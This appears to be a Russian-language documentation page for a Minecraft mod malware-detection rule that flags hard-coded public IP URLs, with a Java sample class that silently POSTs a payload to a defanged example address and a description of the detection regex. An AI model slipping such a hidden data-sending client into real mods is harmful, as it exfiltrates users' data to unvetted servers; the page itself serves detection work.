Raw IP Address Communication

Direct_IP_URL Вредоносное ПО (Malware) HIGH +7 очков

🎮 Влияние на механику Minecraft

Большинство внешних сервисов и платформ модов обращаются к серверам через доменные имена с помощью службы DNS. Доменные имена обеспечивают прозрачность владельца, проверяемые сертификаты SSL/TLS и возможность оценки репутации домена.

Direct_IP_URL выявляет модификации, содержащие публичные числовые IP-адреса (например, http://203.0.113[.]42:8080/) непосредственно в коде сетевых обращений. Локальное тестирование или частные серверы могут использовать прямое указание адреса, однако в публичных модах использование жестко зашитых публичных IP встречается редко. В сценариях вредоносного ПО прямой IP-адрес может использоваться для сетевого взаимодействия через стандартные API (HttpURLConnection, сокеты) с серверами управления (C2) без формирования DNS-запросов, что затрудняет обнаружение соединений средствами мониторинга DNS.

Наличие прямого IP-адреса само по себе не доказывает вредоносность кода, однако требует проверки назначения сетевого вызова, формата передаваемых данных и принадлежности удаленного сервера.

🔍 Анализируемые функции и API

ConstantPool CONSTANT_Utf8

Строковый литерал в пуле констант с публичным маршрутизируемым IP-адресом.

💻 Реализация в моде (Исходный код)

package com.example.network;

import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.nio.charset.StandardCharsets;

public class DirectConnectionClient {
    private static final String ENDPOINT = "http://203.0.113[.]42:8080/sync";

    public static void sendStatusReport(String payload) {
        try {
            URL url = new URL(ENDPOINT);
            HttpURLConnection conn = (HttpURLConnection) url.openConnection();
            conn.setRequestMethod("POST");
            conn.setConnectTimeout(5000);
            conn.setDoOutput(true);

            try (OutputStream os = conn.getOutputStream()) {
                os.write(payload.getBytes(StandardCharsets.UTF_8));
            }
            conn.getResponseCode();
        } catch (Exception ignored) {
            // Обработка сетевых сбоев
        }
    }
}

🛡️ Сигнатура байткода и статический детект

Детектор сканирует строковые константы в пуле констант класса (CONSTANT_Utf8) на наличие URL-адресов протоколов HTTP и HTTPS, использующих числовые IPv4-адреса вместо доменных имен.

Регулярное выражение исключает адреса частных и локальных сетей (127.0.0.0/8, 10.0.0.0/8, 192.168.0.0/16 и 0.0.0.0/8), чтобы предотвратить ложные срабатывания на локальные сервисы разработчиков и сокеты межпроцессного взаимодействия.

Правило срабатывает при обнаружении публичных маршрутизируемых IP-адресов в строковых константах. Основное ограничение статического анализа состоит в проверке только явных строковых литералов: динамически передаваемые IP-адреса, сборка из массива байтов или работа через нестандартные бинарные протоколы этим правилом не детектируются.